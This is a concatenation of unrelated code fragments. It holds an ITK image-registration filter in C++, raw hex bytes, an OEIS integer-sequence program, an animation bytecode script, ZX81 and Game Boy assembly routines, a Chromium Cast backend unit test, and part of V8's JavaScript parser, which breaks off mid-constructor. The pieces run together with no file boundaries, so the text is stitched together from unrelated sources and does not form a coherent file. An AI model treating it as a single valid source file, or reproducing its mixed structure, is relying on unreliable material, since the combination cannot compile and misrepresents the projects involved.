PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::PrintSelf(std::ostream & os, Indent indent) const { Superclass::PrintSelf(os, indent); os << indent << "Smooth deformation field: " << ( m_SmoothDisplacementField ? "on" : "off" ) << std::endl; unsigned int j = 0; os << indent << "Standard deviations: [" << m_StandardDeviations[j]; for ( j = 1; j < ImageDimension; j++ ) { os << ", " << m_StandardDeviations[j]; } os << "]" << std::endl; os << indent << "Smooth update field: " << ( m_SmoothUpdateField ? "on" : "off" ) << std::endl; j = 0; os << indent << "Update field standard deviations: [" << m_UpdateFieldStandardDeviations[j]; for ( j = 1; j < ImageDimension; j++ ) { os<< ", " << m_UpdateFieldStandardDeviations[j]; } os << "]" << std::endl; os << indent << "StopRegistrationFlag: "; os << m_StopRegistrationFlag << std::endl; os << indent << "MaximumError: "; os << m_MaximumError << std::endl; os << indent << "MaximumKernelWidth: "; os << m_MaximumKernelWidth << std::endl; } /* * Set the function state values before each iteration */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::InitializeIteration() { MovingImageConstPointer movingPtr = this->GetMovingImage(); FixedImageConstPointer fixedPtr = this->GetFixedImage(); if ( !movingPtr || !fixedPtr ) { itkExceptionMacro(<< "Fixed and/or moving image not set"); } // update variables in the equation object PDEDeformableRegistrationFunctionType *f = dynamic_cast< PDEDeformableRegistrationFunctionType * > ( this->GetDifferenceFunction().GetPointer() ); if ( !f ) { itkExceptionMacro(<< "FiniteDifferenceFunction not of type PDEDeformableRegistrationFilterFunction"); } f->SetFixedImage(fixedPtr); f->SetMovingImage(movingPtr); this->Superclass::InitializeIteration(); } /* * Override the default implementation for the case when the * initial deformation is not set. * If the initial deformation is not set, the output is * fill with zero vectors. */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::CopyInputToOutput() { typename Superclass::InputImageType::ConstPointer inputPtr = this->GetInput(); if ( inputPtr ) { this->Superclass::CopyInputToOutput(); } else { typename Superclass::PixelType zeros; for ( unsigned int j = 0; j < ImageDimension; j++ ) { zeros[j] = 0; } typename OutputImageType::Pointer output = this->GetOutput(); ImageRegionIterator< OutputImageType > out( output, output->GetRequestedRegion() ); while ( !out.IsAtEnd() ) { out.Value() = zeros; ++out; } } } template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::GenerateOutputInformation() { typename DataObject::Pointer output; if ( this->GetInput(0) ) { // Initial deformation field is set. // Copy information from initial field. this->Superclass::GenerateOutputInformation(); } else if ( this->GetFixedImage() ) { // Initial deforamtion field is not set. // Copy information from the fixed image. for ( unsigned int idx = 0; idx < this->GetNumberOfIndexedOutputs(); ++idx ) { output = this->GetOutput(idx); if ( output ) { output->CopyInformation( this->GetFixedImage() ); } } } } template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::GenerateInputRequestedRegion() { // call the superclass's implementation Superclass::GenerateInputRequestedRegion(); // request the largest possible region for the moving image MovingImagePointer movingPtr = const_cast< MovingImageType * >( this->GetMovingImage() ); if ( movingPtr ) { movingPtr->SetRequestedRegionToLargestPossibleRegion(); } // just propagate up the output requested region for // the fixed image and initial deformation field. DisplacementFieldPointer inputPtr = const_cast< DisplacementFieldType * >( this->GetInput() ); DisplacementFieldPointer outputPtr = this->GetOutput(); FixedImagePointer fixedPtr = const_cast< FixedImageType * >( this->GetFixedImage() ); if ( inputPtr ) { inputPtr->SetRequestedRegion( outputPtr->GetRequestedRegion() ); } if ( fixedPtr ) { fixedPtr->SetRequestedRegion( outputPtr->GetRequestedRegion() ); } } /* * Release memory of internal buffers */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::PostProcessOutput() { this->Superclass::PostProcessOutput(); m_TempField->Initialize(); } /* * Initialize flags */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::Initialize() { this->Superclass::Initialize(); m_StopRegistrationFlag = false; } /* * Smooth deformation using a separable Gaussian kernel */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::SmoothDisplacementField() { DisplacementFieldPointer field = this->GetOutput(); // copy field to TempField m_TempField->SetOrigin( field->GetOrigin() ); m_TempField->SetSpacing( field->GetSpacing() ); m_TempField->SetDirection( field->GetDirection() ); m_TempField->SetLargestPossibleRegion( field->GetLargestPossibleRegion() ); m_TempField->SetRequestedRegion( field->GetRequestedRegion() ); m_TempField->SetBufferedRegion( field->GetBufferedRegion() ); m_TempField->Allocate(); typedef typename DisplacementFieldType::PixelType VectorType; typedef typename VectorType::ValueType ScalarType; typedef GaussianOperator< ScalarType, ImageDimension > OperatorType; typedef VectorNeighborhoodOperatorImageFilter< DisplacementFieldType, DisplacementFieldType > SmootherType; OperatorType *oper = new OperatorType; typename SmootherType::Pointer smoother = SmootherType::New(); typedef typename DisplacementFieldType::PixelContainerPointer PixelContainerPointer; PixelContainerPointer swapPtr; // graft the output field onto the mini-pipeline smoother->GraftOutput(m_TempField); for ( unsigned int j = 0; j < ImageDimension; j++ ) { // smooth along this dimension oper->SetDirection(j); double variance = itk::Math::sqr(m_StandardDeviations[j]); oper->SetVariance(variance); oper->SetMaximumError(m_MaximumError); oper->SetMaximumKernelWidth(m_MaximumKernelWidth); oper->CreateDirectional(); // todo: make sure we only smooth within the buffered region smoother->SetOperator(*oper); smoother->SetInput(field); smoother->Update(); if ( j + 1 < ImageDimension ) { // swap the containers swapPtr = smoother->GetOutput()->GetPixelContainer(); smoother->GraftOutput(field); field->SetPixelContainer(swapPtr); smoother->Modified(); } } // graft the output back to this filter m_TempField->SetPixelContainer( field->GetPixelContainer() ); this->GraftOutput( smoother->GetOutput() ); delete oper; } /* * Smooth deformation using a separable Gaussian kernel */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::SmoothUpdateField() { // The update buffer will be overwritten with new data. DisplacementFieldPointer field = this->GetUpdateBuffer(); typedef typename DisplacementFieldType::PixelType VectorType; typedef typename VectorType::ValueType ScalarType; typedef GaussianOperator< ScalarType, ImageDimension > OperatorType; typedef VectorNeighborhoodOperatorImageFilter< DisplacementFieldType, DisplacementFieldType > SmootherType; OperatorType opers[ImageDimension]; typename SmootherType::Pointer smoothers[ImageDimension]; for ( unsigned int j = 0; j < ImageDimension; j++ ) { // smooth along this dimension opers[j].SetDirection(j); double variance = itk::Math::sqr(this->GetUpdateFieldStandardDeviations()[j]); //double variance = itk::Math::sqr( 1.0 ); opers[j].SetVariance(variance); opers[j].SetMaximumError( this->GetMaximumError() ); opers[j].SetMaximumKernelWidth( this->GetMaximumKernelWidth() ); opers[j].CreateDirectional(); smoothers[j] = SmootherType::New(); smoothers[j]->SetOperator(opers[j]); smoothers[j]->ReleaseDataFlagOn(); if ( j > 0 ) { smoothers[j]->SetInput( smoothers[j - 1]->GetOutput() ); } } smoothers[0]->SetInput(field); smoothers[ImageDimension - 1]->GetOutput() ->SetRequestedRegion( field->GetBufferedRegion() ); smoothers[ImageDimension - 1]->Update(); // field to contain the final smoothed data, do the equivalent of a graft field->SetPixelContainer( smoothers[ImageDimension - 1]->GetOutput() ->GetPixelContainer() ); field->SetRequestedRegion( smoothers[ImageDimension - 1]->GetOutput() ->GetRequestedRegion() ); field->SetBufferedRegion( smoothers[ImageDimension - 1]->GetOutput() ->GetBufferedRegion() ); field->SetLargestPossibleRegion( smoothers[ImageDimension - 1]->GetOutput() ->GetLargestPossibleRegion() ); field->CopyInformation( smoothers[ImageDimension - 1]->GetOutput() ); } } // end namespace itk #endif
0D00 3E 0F 0D02 E6 63 0D04 F6 2C 0D06 EE 06 0D08 2F 0D09 DF 5B
; A086952: n^2*4^n/4. ; 0,1,16,144,1024,6400,36864,200704,1048576,5308416,26214400,126877696,603979776,2835349504,13153337344,60397977600,274877906944,1241245548544,5566277615616,24807731101696,109951162777600 mov $1,2 pow $1,$0 mul $1,$0 pow $1,2 div $1,4
aLine 0 gNew basePtr gMoveNext basePtr, Root gNewVPtr maxNext gNewVPtr rootNext gMoveNext rootNext, Root aLine 1 gNew basePrev gMove basePrev, Root gNew maxPtr, 1085, 800 gNew maxPrev, 1085, 860 gNew currentPtr, 1085, 920 gNew currentPrev, 1085, 980 aLine 2 gBeq basePtr, Root, 45 aLine 4 gMove maxPtr, basePtr aLine 5 gMove maxPrev, basePrev aLine 6 gMoveNext currentPtr, basePtr aLine 7 gMove currentPrev, basePtr aLine 8 gBeq currentPtr, Root, 12 aLine 9 vBge maxPtr, currentPtr, 5 aLine 10 gMove maxPrev, currentPrev aLine 11 gMove maxPtr, currentPtr aLine 13 gMove currentPrev, currentPtr aLine 14 gMoveNext currentPtr, currentPtr Jmp -12 aLine 17 gBne maxPtr, basePtr, 3 aLine 18 gMoveNext basePtr, basePtr aLine 20 gBne basePrev, Root, 5 aLine 21 gMove basePrev, maxPtr aLine 22 gMove Rear, maxPtr aLine 24 gMoveNext maxNext, maxPtr nMoveRelOut maxPtr, maxPtr, 100 pSetNext maxPrev, maxNext aLine 25 pDeleteNext maxPtr nMoveRelOut maxPtr, Root, 100 gMoveNext rootNext, Root pSetNext maxPtr, rootNext aLine 26 pSetNext Root, maxPtr aStd Jmp -45 aLine 28 gDelete basePrev gDelete basePtr gDelete maxNext gDelete maxPtr gDelete maxPrev gDelete rootNext gDelete currentPtr gDelete currentPrev aStd Halt
;-------------------------------------------------------------- ; ZX81 HRG library for the Memotech expansion ; by Stefano Bodrato, Feb. 2010 ;-------------------------------------------------------------- ; ; Set TEXT mode ; ; $Id: mt_hrg_off.asm,v 1.7 2016-06-27 20:26:33 dom Exp $ ; SECTION code_clib PUBLIC mt_hrg_off PUBLIC _mt_hrg_off PUBLIC hrg_off PUBLIC _hrg_off EXTERN MTCH_P1 EXTERN MTCH_P2 EXTERN MTCH_P3 .mt_hrg_off .hrg_off ._mt_hrg_off ._hrg_off ; No need to patch the shadow ROM copy back to original values ; because it will be excluded by hardware, but our custom ; interrupt handler won't. ld a,$0C ; alter PTR to D-FILE ld (MTCH_P1+1),a ; patch our custom interrupt handler ld a,25 ; TEXT row counter ld (MTCH_P2+2),a ; patch also our custom interrupt handler IF FORzx81mt64 xor a ld (MTCH_P3+1),a ; patch also our custom interrupt handler ENDIF jp $2490 ; MEMOTECH BASIC command
SetHPPal:: ; Set palette for hp bar pixel length e at hl. call GetHPPal ld [hl], d ret GetHPPal:: ; Get palette for hp bar pixel length e in d. ld d, HP_GREEN ld a, e cp (HP_BAR_LENGTH_PX * 50 / 100) ; 24 ret nc inc d ; HP_YELLOW cp (HP_BAR_LENGTH_PX * 21 / 100) ; 10 ret nc inc d ; HP_RED ret
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chromecast/media/cma/backend/proxy/cma_backend_proxy.h" #include "base/bind.h" #include "base/memory/ref_counted.h" #include "chromecast/media/api/cma_backend.h" #include "chromecast/media/api/decoder_buffer_base.h" #include "chromecast/media/api/test/mock_cma_backend.h" #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" using testing::Return; using testing::StrictMock; namespace chromecast { namespace media { namespace { class MockMultizoneAudioDecoderProxy : public MultizoneAudioDecoderProxy { public: MockMultizoneAudioDecoderProxy() : MultizoneAudioDecoderProxy(&audio_decoder_) {} ~MockMultizoneAudioDecoderProxy() override = default; MOCK_METHOD0(Initialize, void()); MOCK_METHOD1(Start, void(int64_t)); MOCK_METHOD0(Stop, void()); MOCK_METHOD0(Pause, void()); MOCK_METHOD0(Resume, void()); MOCK_CONST_METHOD0(GetCurrentPts, int64_t()); MOCK_METHOD1(SetPlaybackRate, void(float rate)); MOCK_METHOD0(LogicalPause, void()); MOCK_METHOD0(LogicalResume, void()); MOCK_METHOD1(SetDelegate, void(Delegate*)); MOCK_METHOD1(PushBuffer, BufferStatus(scoped_refptr<DecoderBufferBase>)); MOCK_METHOD1(SetConfig, bool(const AudioConfig&)); MOCK_METHOD1(SetVolume, bool(float)); MOCK_METHOD0(GetRenderingDelay, RenderingDelay()); MOCK_METHOD1(GetStatistics, void(Statistics*)); MOCK_METHOD0(RequiresDecryption, bool()); MOCK_METHOD1(SetObserver, void(Observer*)); private: // Used only for the ctor parameter. MockCmaBackend::AudioDecoder audio_decoder_; }; } // namespace class CmaBackendProxyTest : public testing::Test { public: CmaBackendProxyTest() { auto delegated_video_backend = std::make_unique<StrictMock<MockCmaBackend>>(); auto audio_decoder = std::make_unique<StrictMock<MockMultizoneAudioDecoderProxy>>(); delegated_backend_ = delegated_video_backend.get(); audio_decoder_ = audio_decoder.get(); CmaBackendProxy::AudioDecoderFactoryCB factory = base::BindOnce( [](std::unique_ptr<MultizoneAudioDecoderProxy> ptr) { return ptr; }, std::move(audio_decoder)); CmaBackendProxy* proxy = new CmaBackendProxy( std::move(factory), std::move(delegated_video_backend)); backend_.reset(proxy); } protected: void CreateVideoDecoder() { EXPECT_CALL(*delegated_backend_, CreateVideoDecoder()).Times(1); backend_->CreateVideoDecoder(); testing::Mock::VerifyAndClearExpectations(delegated_backend_); } std::unique_ptr<CmaBackendProxy> backend_; MockCmaBackend* delegated_backend_; MockMultizoneAudioDecoderProxy* audio_decoder_; }; TEST_F(CmaBackendProxyTest, Initialize) { EXPECT_TRUE(backend_->Initialize()); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, Initialize()) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->Initialize()); EXPECT_FALSE(backend_->Initialize()); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, Initialize()).Times(2); EXPECT_CALL(*delegated_backend_, Initialize()) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->Initialize()); EXPECT_FALSE(backend_->Initialize()); } TEST_F(CmaBackendProxyTest, Start) { constexpr float kStartPts = 42; EXPECT_TRUE(backend_->Start(kStartPts)); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, Start(kStartPts)) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->Start(kStartPts)); EXPECT_FALSE(backend_->Start(kStartPts)); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, Start(kStartPts)).Times(2); EXPECT_CALL(*delegated_backend_, Start(kStartPts)) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->Start(kStartPts)); EXPECT_FALSE(backend_->Start(kStartPts)); } TEST_F(CmaBackendProxyTest, Stop) { backend_->Stop(); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, Stop()); backend_->Stop(); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, Stop()); EXPECT_CALL(*delegated_backend_, Stop()); backend_->Stop(); } TEST_F(CmaBackendProxyTest, Pause) { EXPECT_TRUE(backend_->Pause()); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, Pause()) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->Pause()); EXPECT_FALSE(backend_->Pause()); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, Pause()).Times(2); EXPECT_CALL(*delegated_backend_, Pause()) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->Pause()); EXPECT_FALSE(backend_->Pause()); } TEST_F(CmaBackendProxyTest, Resume) { EXPECT_TRUE(backend_->Resume()); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, Resume()) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->Resume()); EXPECT_FALSE(backend_->Resume()); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, Resume()).Times(2); EXPECT_CALL(*delegated_backend_, Resume()) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->Resume()); EXPECT_FALSE(backend_->Resume()); } TEST_F(CmaBackendProxyTest, GetCurrentPts) { EXPECT_EQ(backend_->GetCurrentPts(), std::numeric_limits<int64_t>::min()); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, GetCurrentPts()).WillOnce(Return(42)); EXPECT_EQ(backend_->GetCurrentPts(), 42); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, GetCurrentPts()) .WillOnce(Return(42)) .WillOnce(Return(42)); EXPECT_CALL(*delegated_backend_, GetCurrentPts()) .WillOnce(Return(16)) .WillOnce(Return(360)); EXPECT_EQ(backend_->GetCurrentPts(), 16); EXPECT_EQ(backend_->GetCurrentPts(), 42); } TEST_F(CmaBackendProxyTest, SetPlaybackRate) { constexpr float kSetPlaybackRatePts = 0.5; EXPECT_TRUE(backend_->SetPlaybackRate(kSetPlaybackRatePts)); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, SetPlaybackRate(kSetPlaybackRatePts)) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->SetPlaybackRate(kSetPlaybackRatePts)); EXPECT_FALSE(backend_->SetPlaybackRate(kSetPlaybackRatePts)); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, SetPlaybackRate(kSetPlaybackRatePts)).Times(2); EXPECT_CALL(*delegated_backend_, SetPlaybackRate(kSetPlaybackRatePts)) .WillOnce(Return(true)) .WillOnce(Return(false)); EXPECT_TRUE(backend_->SetPlaybackRate(kSetPlaybackRatePts)); EXPECT_FALSE(backend_->SetPlaybackRate(kSetPlaybackRatePts)); } TEST_F(CmaBackendProxyTest, LogicalPause) { backend_->LogicalPause(); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, LogicalPause()); backend_->LogicalPause(); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, LogicalPause()); EXPECT_CALL(*delegated_backend_, LogicalPause()); backend_->LogicalPause(); } TEST_F(CmaBackendProxyTest, LogicalResume) { backend_->LogicalResume(); CreateVideoDecoder(); EXPECT_CALL(*delegated_backend_, LogicalResume()); backend_->LogicalResume(); testing::Mock::VerifyAndClearExpectations(delegated_backend_); ASSERT_EQ(backend_->CreateAudioDecoder(), audio_decoder_); EXPECT_CALL(*audio_decoder_, LogicalResume()); EXPECT_CALL(*delegated_backend_, LogicalResume()); backend_->LogicalResume(); } } // namespace media } // namespace chromecast
// Copyright 2012 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/parsing/parser.h" #include <algorithm> #include <memory> #include "src/ast/ast-function-literal-id-reindexer.h" #include "src/ast/ast-traversal-visitor.h" #include "src/ast/ast.h" #include "src/ast/source-range-ast-visitor.h" #include "src/bailout-reason.h" #include "src/base/overflowing-math.h" #include "src/base/platform/platform.h" #include "src/char-predicates-inl.h" #include "src/compiler-dispatcher/compiler-dispatcher.h" #include "src/conversions-inl.h" #include "src/log.h" #include "src/message-template.h" #include "src/objects/scope-info.h" #include "src/parsing/expression-scope-reparenter.h" #include "src/parsing/parse-info.h" #include "src/parsing/rewriter.h" #include "src/runtime/runtime.h" #include "src/string-stream.h" #include "src/tracing/trace-event.h" namespace v8 { namespace internal { FunctionLiteral* Parser::DefaultConstructor(const AstRawString* name, bool call_super, int pos, int end_pos) { int expected_property_count = -1; const int parameter_count = 0; FunctionKind kind = call_super ? FunctionKind::kDefaultDerivedConstructor : FunctionKind::kDefaultBaseConstructor; DeclarationScope* function_scope = NewFunctionScope(kind); SetLanguageMode(function_scope, LanguageMode::kStrict); // Set start and end position to the same value function_scope->set_start_position(pos); function_scope->set_end_position(pos); ScopedPtrList<Statement> body(pointer_buffer()); { FunctionState function_state(&function_state_, &scope_, function_scope); if (call_super) { // Create a SuperCallReference and handle in BytecodeGenerator. auto constructor_args_name = ast_value_factory()->empty_string(); bool is_rest = true; bool is_optional = false; Variable* constructor_args = function_scope->DeclareParameter( constructor_args_name, VariableMode::kTemporary, is_optional, is_rest, ast_value_factory(), pos); Expression* call; { ScopedPtrList<Expression> args(pointer_buffer()); Spread* spread_args = factory()->NewSpread( factory()->NewVariableProxy(constructor_args), pos, pos); args.Add(spread_args); Expression* super_call_ref = NewSuperCallReference(pos); call = factory()->NewCall(super_call_ref, args, pos); } body.Add(factory()->NewReturnStatement(call, pos)); } expected_property_count = function_state.expected_property_count(); } FunctionLiteral* function_literal = factory()->NewFunctionLiteral( name, function_scope, body, expected_property_count, parameter_count, parameter_count, FunctionLiteral::kNoDuplicateParameters, FunctionLiteral::kAnonymousExpression, default_eager_compile_hint(), pos, true, GetNextFunctionLiteralId()); return function_literal; } void Parser::ReportUnexpectedTokenAt(Scanner::Location location, Token::Value token, MessageTemplate message) { const char* arg = nullptr; switch (token) { case Token::EOS: message = MessageTemplate::kUnexpectedEOS; break; case Token::SMI: case Token::NUMBER: case Token::BIGINT: message = MessageTemplate::kUnexpectedTokenNumber; break; case Token::STRING: message = MessageTemplate::kUnexpectedTokenString; break; case Token::PRIVATE_NAME: case Token::IDENTIFIER: message = MessageTemplate::kUnexpectedTokenIdentifier; break; case Token::AWAIT: case Token::ENUM: message = MessageTemplate::kUnexpectedReserved; break; case Token::LET: case Token::STATIC: case Token::YIELD: case Token::FUTURE_STRICT_RESERVED_WORD: message = is_strict(language_mode()) ? MessageTemplate::kUnexpectedStrictReserved : MessageTemplate::kUnexpectedTokenIdentifier; break; case Token::TEMPLATE_SPAN: case Token::TEMPLATE_TAIL: message = MessageTemplate::kUnexpectedTemplateString; break; case Token::ESCAPED_STRICT_RESERVED_WORD: case Token::ESCAPED_KEYWORD: message = MessageTemplate::kInvalidEscapedReservedWord; break; case Token::ILLEGAL: if (scanner()->has_error()) { message = scanner()->error(); location = scanner()->error_location(); } else { message = MessageTemplate::kInvalidOrUnexpectedToken; } break; case Token::REGEXP_LITERAL: message = MessageTemplate::kUnexpectedTokenRegExp; break; default: const char* name = Token::String(token); DCHECK_NOT_NULL(name); arg = name; break; } ReportMessageAt(location, message, arg); } // ---------------------------------------------------------------------------- // Implementation of Parser bool Parser::ShortcutNumericLiteralBinaryExpression(Expression** x, Expression* y, Token::Value op, int pos) { if ((*x)->IsNumberLiteral() && y->IsNumberLiteral()) { double x_val = (*x)->AsLiteral()->AsNumber(); double y_val = y->AsLiteral()->AsNumber(); switch (op) { case Token::ADD: *x = factory()->NewNumberLiteral(x_val + y_val, pos); return true; case Token::SUB: *x = factory()->NewNumberLiteral(x_val - y_val, pos); return true; case Token::MUL: *x = factory()->NewNumberLiteral(x_val * y_val, pos); return true; case Token::DIV: *x = factory()->NewNumberLiteral(base::Divide(x_val, y_val), pos); return true; case Token::BIT_OR: { int value = DoubleToInt32(x_val) | DoubleToInt32(y_val); *x = factory()->NewNumberLiteral(value, pos); return true; } case Token::BIT_AND: { int value = DoubleToInt32(x_val) & DoubleToInt32(y_val); *x = factory()->NewNumberLiteral(value, pos); return true; } case Token::BIT_XOR: { int value = DoubleToInt32(x_val) ^ DoubleToInt32(y_val); *x = factory()->NewNumberLiteral(value, pos); return true; } case Token::SHL: { int value = base::ShlWithWraparound(DoubleToInt32(x_val), DoubleToInt32(y_val)); *x = factory()->NewNumberLiteral(value, pos); return true; } case Token::SHR: { uint32_t shift = DoubleToInt32(y_val) & 0x1F; uint32_t value = DoubleToUint32(x_val) >> shift; *x = factory()->NewNumberLiteral(value, pos); return true; } case Token::SAR: { uint32_t shift = DoubleToInt32(y_val) & 0x1F; int value = ArithmeticShiftRight(DoubleToInt32(x_val), shift); *x = factory()->NewNumberLiteral(value, pos); return true; } case Token::EXP: { *x = factory()->NewNumberLiteral(Pow(x_val, y_val), pos); return true; } default: break; } } return false; } bool Parser::CollapseNaryExpression(Expression** x, Expression* y, Token::Value op, int pos, const SourceRange& range) { // Filter out unsupported ops. if (!Token::IsBinaryOp(op) || op == Token::EXP) return false; // Convert *x into an nary operation with the given op, returning false if // this is not possible. NaryOperation* nary = nullptr; if ((*x)->IsBinaryOperation()) { BinaryOperation* binop = (*x)->AsBinaryOperation(); if (binop->op() != op) return false; nary = factory()->NewNaryOperation(op, binop->left(), 2); nary->AddSubsequent(binop->right(), binop->position()); ConvertBinaryToNaryOperationSourceRange(binop, nary); *x = nary; } else if ((*x)->IsNaryOperation()) { nary = (*x)->AsNaryOperation(); if (nary->op() != op) return false; } else { return false; } // Append our current expression to the nary operation. // TODO(leszeks): Do some literal collapsing here if we're appending Smi or // String literals. nary->AddSubsequent(y, pos); nary->clear_parenthesized(); AppendNaryOperationSourceRange(nary, range); return true; } Expression* Parser::BuildUnaryExpression(Expression* expression, Token::Value op, int pos) { DCHECK_NOT_NULL(expression); const Literal* literal = expression->AsLiteral(); if (literal != nullptr) { if (op == Token::NOT) { // Convert the literal to a boolean condition and negate it. return factory()->NewBooleanLiteral(literal->ToBooleanIsFalse(), pos); } else if (literal->IsNumberLiteral()) { // Compute some expressions involving only number literals. double value = literal->AsNumber(); switch (op) { case Token::ADD: return expression; case Token::SUB: return factory()->NewNumberLiteral(-value, pos); case Token::BIT_NOT: return factory()->NewNumberLiteral(~DoubleToInt32(value), pos); default: break; } } } return factory()->NewUnaryOperation(op, expression, pos); } Expression* Parser::NewThrowError(Runtime::FunctionId id, MessageTemplate message, const AstRawString* arg, int pos) { ScopedPtrList<Expression> args(pointer_buffer()); args.Add(factory()->NewSmiLiteral(static_cast<int>(message), pos)); args.Add(factory()->NewStringLiteral(arg, pos)); CallRuntime* call_constructor = factory()->NewCallRuntime(id, args, pos); return factory()->NewThrow(call_constructor, pos); } Expression* Parser::NewSuperPropertyReference(int pos) { // this_function[home_object_symbol] VariableProxy* this_function_proxy = NewUnresolved(ast_value_factory()->this_function_string(), pos); Expression* home_object_symbol_literal = factory()->NewSymbolLiteral( AstSymbol::kHomeObjectSymbol, kNoSourcePosition); Expression* home_object = factory()->NewProperty( this_function_proxy, home_object_symbol_literal, pos); return factory()->NewSuperPropertyReference( ThisExpression(pos)->AsVariableProxy(), home_object, pos); } Expression* Parser::NewSuperCallReference(int pos) { VariableProxy* new_target_proxy = NewUnresolved(ast_value_factory()->new_target_string(), pos); VariableProxy* this_function_proxy = NewUnresolved(ast_value_factory()->this_function_string(), pos); return factory()->NewSuperCallReference( ThisExpression(pos)->AsVariableProxy(), new_target_proxy, this_function_proxy, pos); } Expression* Parser::NewTargetExpression(int pos) { auto proxy = NewUnresolved(ast_value_factory()->new_target_string(), pos); proxy->set_is_new_target(); return proxy; } Expression* Parser::ImportMetaExpression(int pos) { ScopedPtrList<Expression> args(pointer_buffer()); return factory()->NewCallRuntime(Runtime::kInlineGetImportMetaObject, args, pos); } Expression* Parser::ExpressionFromLiteral(Token::Value token, int pos) { switch (token) { case Token::NULL_LITERAL: return factory()->NewNullLiteral(pos); case Token::TRUE_LITERAL: return factory()->NewBooleanLiteral(true, pos); case Token::FALSE_LITERAL: return factory()->NewBooleanLiteral(false, pos); case Token::SMI: { uint32_t value = scanner()->smi_value(); return factory()->NewSmiLiteral(value, pos); } case Token::NUMBER: { double value = scanner()->DoubleValue(); return factory()->NewNumberLiteral(value, pos); } case Token::BIGINT: return factory()->NewBigIntLiteral( AstBigInt(scanner()->CurrentLiteralAsCString(zone())), pos); case Token::STRING: { return factory()->NewStringLiteral(GetSymbol(), pos); } default: DCHECK(false); } return FailureExpression(); } Expression* Parser::NewV8Intrinsic(const AstRawString* name, const ScopedPtrList<Expression>& args, int pos) { if (extension_ != nullptr) { // The extension structures are only accessible while parsing the // very first time, not when reparsing because of lazy compilation. GetClosureScope()->ForceEagerCompilation(); } DCHECK(name->is_one_byte()); const Runtime::Function* function = Runtime::FunctionForName(name->raw_data(), name->length()); if (function != nullptr) { // Check for possible name clash. DCHECK_EQ(Context::kNotFound, Context::IntrinsicIndexForName(name->raw_data(), name->length())); // Check that the expected number of arguments are being passed. if (function->nargs != -1 && function->nargs != args.length()) { ReportMessage(MessageTemplate::kRuntimeWrongNumArgs); return FailureExpression(); } return factory()->NewCallRuntime(function, args, pos); } int context_index = Context::IntrinsicIndexForName(name->raw_data(), name->length()); // Check that the function is defined. if (context_index == Context::kNotFound) { ReportMessage(MessageTemplate::kNotDefined, name); return FailureExpression(); } return factory()->NewCallRuntime(context_index, args, pos); } Parser::Parser(ParseInfo* info) : ParserBase<Parser>(info->zone(), &scanner_, info->stack_limit(), info->extension(), info->GetOrCreateAstValueFactory(), info->pending_error_handler(), info->runtime_call_stats(), info->logger(), info->script().is_null() ? -1 : info->script()->id(), info->is_module(), true), info_(info), scanner_(info->character_stream(), info->is_module()), preparser_zone_(info->zone()->allocator(), ZONE_NAME), reusable_preparser_(nullptr), 